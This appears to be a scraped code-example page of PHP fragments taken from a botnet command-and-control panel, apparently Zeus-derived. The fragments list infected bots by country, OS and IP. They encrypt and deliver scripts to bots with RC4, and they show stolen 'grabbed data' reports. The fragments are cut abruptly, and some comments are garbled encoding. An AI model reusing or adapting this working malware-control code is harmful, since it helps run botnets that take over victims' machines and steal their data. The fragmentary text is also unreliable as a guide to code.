function listCountries($name, $query)
{
    $data = str_replace('{WIDTH}', COUNTRYLIST_WIDTH . 'px', THEME_LIST_BEGIN);
    $r = mysqlQueryEx('botnet_list', 'SELECT `country`, COUNT(`country`) FROM `botnet_list` WHERE ' . $query . ' GROUP BY BINARY `country` ORDER BY COUNT(`country`) DESC, `country` ASC');
    if ($r && @mysql_affected_rows() > 0) {
        //RЎRѕSЃS, P ° RІR "SЏRμRј SЃRїReSЃRѕRє.
        $count = 0;
        $i = 0;
        $list = '';
        while ($m = mysql_fetch_row($r)) {
            $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($m[0])), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('8em', numberFormatAsInt($m[1])), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
            $count += $m[1];
            $i++;
        }
        //P-P ° RіRѕR "RѕRІRѕRє
        $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, sprintf($name, numberFormatAsInt($count))), THEME_LIST_TITLE) . $list;
    } else {
        $data .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf($name, 0)), THEME_LIST_TITLE) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $r ? LNG_STATS_COUNTRYLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
    }
    return $data . THEME_LIST_END;
}
Example #2
0
function AddRowToTable($name, $query)
{
    if (!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}")) {
        ShowError("Failed to write row to table " . THEME_STRING_BOLD_BEGIN . "'{$name}'" . THEME_STRING_BOLD_END . ": %s" . htmlEntitiesEx(mysql_error()));
        return false;
    }
    return true;
}
Example #3
0
function botnetsToListBox($currentBotnet, $advQuery)
{
    $advQuery = htmlEntitiesEx($advQuery);
    $botnets = str_replace(array('{NAME}', '{WIDTH}'), array('botnet', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array('', LNG_BOTNET_ALL), THEME_DIALOG_ITEM_LISTBOX_ITEM);
    if ($r = mysqlQueryEx('botnet_list', 'SELECT DISTINCT `botnet` FROM `botnet_list`')) {
        while ($m = @mysql_fetch_row($r)) {
            if ($m[0] != '') {
                $botnets .= str_replace(array('{VALUE}', '{TEXT}'), array(htmlEntitiesEx(urlencode($m[0])), htmlEntitiesEx(mb_substr($m[0], 0, BOTNET_MAX_CHARS))), strcmp($currentBotnet, $m[0]) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
            }
        }
    }
    $botnets .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_BOTNET_APPLY, ' onclick="var botnet = document.getElementById(\'botnet\'); window.location=\'' . QUERY_STRING_HTML . $advQuery . '&botnet=\' + botnet.options[botnet.selectedIndex].value;"'), THEME_DIALOG_ITEM_ACTION);
    return $botnets;
}
Example #4
0
     $replyData = '';
     $replyCount = 0;
     $botIdQm = toSqlSafeMask($botIdQ);
     $botnetQm = toSqlSafeMask($botnetQ);
     $countryQm = toSqlSafeMask($countryQ);
     $r = mysqlQueryEx('botnet_scripts', "SELECT `extern_id`, `script_bin`, `send_limit`, `id` FROM `botnet_scripts` WHERE `flag_enabled`=1 AND " . "(`countries_wl`='' OR `countries_wl` LIKE BINARY '%{$countryQm}%') AND " . "(`countries_bl` NOT LIKE BINARY '%{$countryQm}%') AND " . "(`botnets_wl`='' OR `botnets_wl` LIKE BINARY '%{$botnetQm}%') AND " . "(`botnets_bl` NOT LIKE BINARY '%{$botnetQm}%') AND " . "(`bots_wl`='' OR `bots_wl` LIKE BINARY '%{$botIdQm}%') AND " . "(`bots_bl` NOT LIKE BINARY '%{$botIdQm}%') " . "LIMIT 10");
     if ($r) {
         while ($m = mysql_fetch_row($r)) {
             $eid = addslashes($m[0]);
             //Проверяем, не достигнут ли лимит.
             if ($m[2] != 0 && ($j = mysqlQueryEx('botnet_scripts_stat', "SELECT COUNT(*) FROM `botnet_scripts_stat` WHERE `type`=1 AND `extern_id`='{$eid}'")) && ($c = mysql_fetch_row($j)) && $c[0] >= $m[2]) {
                 mysqlQueryEx('botnet_scripts', "UPDATE `botnet_scripts` SET `flag_enabled`=0 WHERE `id`={$m[3]} LIMIT 1");
                 continue;
             }
             //Добовляем бота в список отправленных.
             if (mysqlQueryEx('botnet_scripts_stat', "INSERT HIGH_PRIORITY INTO `botnet_scripts_stat` SET `extern_id`='{$eid}', `type`=1, `bot_id`='{$botIdQ}', `bot_version`={$botVersion}, `rtime`={$curTime}, `report`='Sended'")) {
                 $size = strlen($m[1]) + strlen($m[0]);
                 $replyData .= pack('LLLL', ++$replyCount, 0, $size, $size) . $m[0] . $m[1];
             }
         }
     }
     if ($replyCount > 0) {
         $replyData = pack('LLLLLLLL', mt_rand(), mt_rand(), mt_rand(), mt_rand(), mt_rand(), HEADER_SIZE + strlen($replyData), 0, $replyCount) . md5($replyData, true) . $replyData;
         visualEncrypt($replyData);
         rc4($replyData, $config['botnet_cryptkey_bin']);
         echo $replyData;
         die;
     }
 } else {
     die;
 }
 define('HEADER_PAD', 30);
 //Длина заголовков.
 httpNoCacheHeaders();
 header('Content-Type: text/plain; charset=utf-8');
 echo "";
 //UTF8 BOM
 $nc = $filter['nonames'];
 foreach ($rlist as $t) {
     $v = intval(substr($t, -6));
     if ($v >= $filter['date1'] && $v <= $filter['date2']) {
         $lastdata = array_fill(0, 16, 0);
         //Заголовок даты.
         echo str_repeat('=', REPEAT_SIZE) . ' ' . gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)) . ' ' . str_repeat('=', REPEAT_SIZE) . "\r\n";
         flush();
         //Запрос.                 //0     //1     //2          //3         //4          //5          //6             //7        //8    //9      //10  //11          //12          //13         //14
         $r = mysqlQueryEx($t, $q = 'SELECT bot_id, botnet, bot_version, os_version, language_id, time_system, time_localbias, time_tick, rtime, country, ipv4, process_name, process_info, path_source, type,' . 'LENGTH(context), context FROM ' . $t . ' `t` ' . $query1 . $query2);
         if (!$r) {
             echo mysqlErrorEx();
         } else {
             if (mysql_affected_rows() == 0) {
                 echo LNG_REPORTS_DATE_NOREPORTS;
             } else {
                 while ($m = mysql_fetch_row($r)) {
                     if ($nc !== 1) {
                         $hdr = '';
                         if (strcmp($lastdata[0], $m[0]) !== 0) {
                             $lastdata = array_fill(0, 16, 0);
                             $hdr .= str_pad(LNG_REPORTS_VIEW_BOTID, HEADER_PAD) . ($lastdata[0] = $m[0]) . "\r\n";
                         }
                         if (strcmp($lastdata[1], $m[1]) !== 0) {
                             $hdr .= str_pad(LNG_REPORTS_VIEW_BOTNET, HEADER_PAD) . ($lastdata[1] = $m[1]) . "\r\n";
Example #6
0
$pageCount = 0;
$pageList = '';
$botsCount = 0;
//Запрос 1.
$r = mysqlQueryEx('botnet_list', 'SELECT COUNT(*) FROM `botnet_list` ' . $query1);
if ($mt = @mysql_fetch_row($r)) {
    //Создание списка страниц.
    if (($pageCount = ceil($mt[0] / BOTS_PER_PAGE)) > 1) {
        $pageList = THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . showPageList($pageCount, $curPage, 'return changePage({P})') . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
    }
    $botsCount = $mt[0];
}
//Запрос 2.
$botsList = '';
$offset = ($curPage - 1) * BOTS_PER_PAGE;
if (!$r || !($r = mysqlQueryEx('botnet_list', 'SELECT `bot_id`, `botnet`, `bot_version`, LOCATE(`ipv4`, `ipv4_list`), `ipv4`, `country`, `rtime_online`, IF(`rtime_last`>=' . ONLINE_TIME_MIN . ', 1, 0), `net_latency`, `comment` FROM `botnet_list` ' . $query2 . ' LIMIT ' . $offset . ', ' . BOTS_PER_PAGE)) || @mysql_affected_rows() === 0) {
    $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(BOTSLIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        //IPv4.
        $ipv4 = binaryIpToString($mt[4]);
        //Метка NAT.
        if ($mt[3] == 0) {
            $ipv4 .= '*';
        }
        $themeText = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $themeNum = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
        $themeCb = $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1;
        $botsList .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('bots[]', htmlEntitiesEx($mt[0]), ''), $themeCb) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(++$offset)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', botPopupMenu($mt[0], 'botmenu')), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[1])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', intToVersion($mt[2])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $ipv4), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($mt[5])), $themeText) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $mt[7] == 1 ? tickCountToText(CURRENT_TIME - $mt[6]) : LNG_FORMAT_NOTIME), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsFloat($mt[8] / 1000, 3)), $themeNum) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', empty($mt[9]) ? '-' : htmlEntitiesEx($mt[9])), $themeText) . THEME_LIST_ROW_END;
        $i++;
Example #7
0
if (!defined('__CP__')) {
    die;
}
define('OSLIST_WIDTH', 500);
//Ширина колонки
define('STAT_WIDTH', '1%');
//Ширина колонки статистики.
//Текущий ботнет.
define('CURRENT_BOTNET', !empty($_GET['botnet']) ? $_GET['botnet'] : '');
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод общей информации.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Получем список OC.
$osList = '';
$query = CURRENT_BOTNET == '' ? '' : 'WHERE `botnet`=\'' . addslashes(CURRENT_BOTNET) . '\' ';
if (($r = mysqlQueryEx('botnet_list', "SELECT `os_version`, COUNT(`os_version`) FROM `botnet_list` {$query}GROUP BY `os_version`")) && mysql_affected_rows() > 0) {
    $list = array();
    while ($mt = @mysql_fetch_row($r)) {
        @($list[osDataToString($mt[0])] += $mt[1]);
    }
    arsort($list);
    $i = 0;
    foreach ($list as $name => $count) {
        $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx($name)), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($count)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END;
        $i++;
    }
} else {
    $osList .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, $r ? LNG_STATS_OSLIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
}
ThemeBegin(LNG_STATS, 0, 0, 0);
echo str_replace('{WIDTH}', OSLIST_WIDTH . 'px', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_TOTAL_INFO . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . $osList . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
if (!($r = mysqlQueryEx('botnet_scripts', 'SELECT SQL_CALC_FOUND_ROWS
        id,
        extern_id,
        name,
        flag_enabled,
        send_limit,
        time_created
     FROM botnet_scripts
     ORDER BY time_created ASC
     LIMIT ' . $PAGER->sql_limit[0] . ' , ' . $PAGER->sql_limit[1] . '
    ;')) || @mysql_affected_rows() === 0) {
    $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $PAGER->total(mysql_result(mysql_query('SELECT FOUND_ROWS();'), 0, 0));
    for ($i = 0; ($mt = @mysql_fetch_row($r)) !== false; $i++) {
        if (!($rx = mysqlQueryEx('botnet_scripts_stat', "SELECT SUM(IF(type=1, 1, 0)), SUM(IF(type=2, 1, 0)), SUM(IF(type>2, 1, 0)) FROM botnet_scripts_stat WHERE extern_id='" . addslashes($mt[1]) . "'"))) {
            $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
        } else {
            $mx = @mysql_fetch_row($rx);
            $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
            $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
            $url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR);
            $url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED;
            if ($_allow_edit) {
                $url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR);
            }
            $list .= THEME_LIST_ROW_BEGIN;
            if ($_allow_edit) {
                $list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1);
            }
            $list .= str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_edit), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $url_status), $theme_text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', htmlEntitiesEx(gmdate(LNG_FORMAT_DT, $mt[5]))), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt($mt[4])), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[0]) ? $mx[0] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[1]) ? $mx[1] : 0)), $theme_num) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', numberFormatAsInt(isset($mx[2]) ? $mx[2] : 0)), $theme_num) . THEME_LIST_ROW_END;
Example #9
0
    }
    $data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('edituser', QUERY_STRING_HTML . '&amp;' . ($isEdit ? 'edit=' . htmlEntitiesEx(urlencode($_GET['edit'])) : 'new'), ''), THEME_FORMPOST_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_NAME, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('name', $formName, 20, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_PASSWORD, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('password', $formPassword, 64, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_STATUS, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('status', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_SYS_STATUS_DISABLED), !$formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_SYS_STATUS_ENABLED), $formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_COMMENT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment', $formComment, 250, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . $rightslist . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array($isEdit ? LNG_SYS_USER_ACTION_SAVE : LNG_SYS_USER_ACTION_NEW, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . ($isEdit ? THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_USER_ACTION_NEWT, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&amp;new=' . htmlEntitiesEx(urlencode($_GET['edit'])) . '\'"'), THEME_DIALOG_ITEM_ACTION) : '') . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END;
    themeSmall($isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW, $data, 0, 0, 0);
    die;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// JavaScript скрипты.
///////////////////////////////////////////////////////////////////////////////////////////////////
$jsScript = 0;
$jsQa = addJsSlashes(LNG_SYS_LIST_ACTION_Q);
$jsScript = jsCheckAll('userslist', 'checkall', 'users[]') . "function ExecuteAction(){return confirm('{$jsQa}');}";
///////////////////////////////////////////////////////////////////////////////////////////////////
// Создание списка.
///////////////////////////////////////////////////////////////////////////////////////////////////
$list = '';
if (!($r = mysqlQueryEx('cp_users', 'SELECT id, name, flag_enabled, comment FROM cp_users ORDER BY name ASC')) || @mysql_affected_rows() === 0) {
    $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_SYS_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $i = 0;
    while ($mt = @mysql_fetch_row($r)) {
        $urlEdit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;edit=' . $mt[0], strlen($mt[1]) > 0 ? htmlEntitiesEx($mt[1]) : '-'), THEME_LIST_ANCHOR);
        $urlStatus = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&amp;status=' . $mt[0] . '&amp;enable=' . ($mt[2] > 0 ? 0 : 1), $mt[2] > 0 ? LNG_SYS_STATUS_ENABLED : LNG_SYS_STATUS_DISABLED), THEME_LIST_ANCHOR);
        $text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
        $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('users[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $urlEdit), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', $urlStatus), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', strlen($mt[3]) > 0 ? htmlEntitiesEx($mt[3]) : '-'), $text) . THEME_LIST_ROW_END;
        $i++;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Список действий.
Example #10
0
        $errors[] = LNG_SYS_PASSWORD_E1;
    } else {
        if (strcmp($_POST['pass1'], $_POST['pass2']) !== 0) {
            $errors[] = LNG_SYS_PASSWORD_E2;
        } else {
            if ($l < 6 || $l > 64) {
                $errors[] = sprintf(LNG_SYS_PASSWORD_E3, 6, 64);
            } else {
                $q .= ", pass='" . addslashes(md5($_POST['pass1'])) . "'";
            }
        }
    }
}
//Сохранение параметров.
if (strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0 && count($errors) == 0) {
    if (!mysqlQueryEx('cp_users', "UPDATE cp_users SET {$q} WHERE id='{$userData['id']}' LIMIT 1")) {
        $errors[] = mysqlErrorEx();
    } else {
        header('Location: ' . QUERY_STRING . '&u=1');
        die;
    }
}
///////////////////////////////////////////////////////////////////////////////////////////////////
// Вывод.
///////////////////////////////////////////////////////////////////////////////////////////////////
//Заполнение списков.
$languages = '';
foreach ($llist as $k => $v) {
    $languages .= str_replace(array('{VALUE}', '{TEXT}'), array($k, htmlEntitiesEx($v)), strcasecmp($language, $k) === 0 ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM);
}
$screenshotFormats = '';
Example #11
0
<?php

error_reporting(0);
ini_set("display_errors", false);
ini_set("log_errors", false);
/**/
define('__CP__', 1);
if (!@(include_once 'jr_new_config.php')) {
    die('Hello! How are you?');
}
require_once $config['system_path'] . '/global.php';
if (!connectToDb()) {
    die(mysqlErrorEx());
}
$tbl = 'botnet_reports_' . (int) $_GET['t'];
$r = mysqlQueryEx($tbl, "SELECT context FROM {$tbl} WHERE {$tbl}.id='" . addslashes($_GET['id']) . "' LIMIT 1");
if (!$r) {
    ThemeMySQLError();
}
if (@mysql_affected_rows() != 1 || !($m = @mysql_fetch_row($r))) {
    ThemeFatalError(LNG_REPORTS_VIEW_NOT_EXISTS);
}
$lines = explode("\n", $m[0]);
$title = trim($lines[0]);
//save the html page to folder
if (isset($_GET['save']) && $_GET['save'] == "1") {
    if (substr($title, 0, strlen("Grabbed data from:")) == "Grabbed data from:") {
        $title = trim(substr($title, strlen("Grabbed data from:"), strlen($title)));
    }
    $url = parse_url($title);
    if (!is_dir("jr_html_pages")) {